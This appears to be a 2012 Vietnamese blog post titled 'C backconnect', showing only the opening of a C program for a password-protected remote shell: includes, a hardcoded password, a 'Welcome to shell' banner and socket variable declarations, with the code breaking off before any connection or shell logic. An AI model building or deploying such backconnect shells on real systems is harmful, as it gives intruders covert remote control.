Pages

Thứ Hai, 10 tháng 12, 2012

[Code] C backconnect


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define ENTERPASS "Nhap mat khau: \0"
#define WELCOME  "Welcome to shell\r\nlet's do it:\r\n"
#define PASSWORD "ceh.vn"
int main(int argc, char **argv)
{
  struct sockaddr_in c_addr;
   struct sockaddr_in s_addr;
    char buf[1024];
   pid_t pid;
   int i,sock_descriptor,temp_sock_descriptor,c_addrsize;


Không có nhận xét nào:

Đăng nhận xét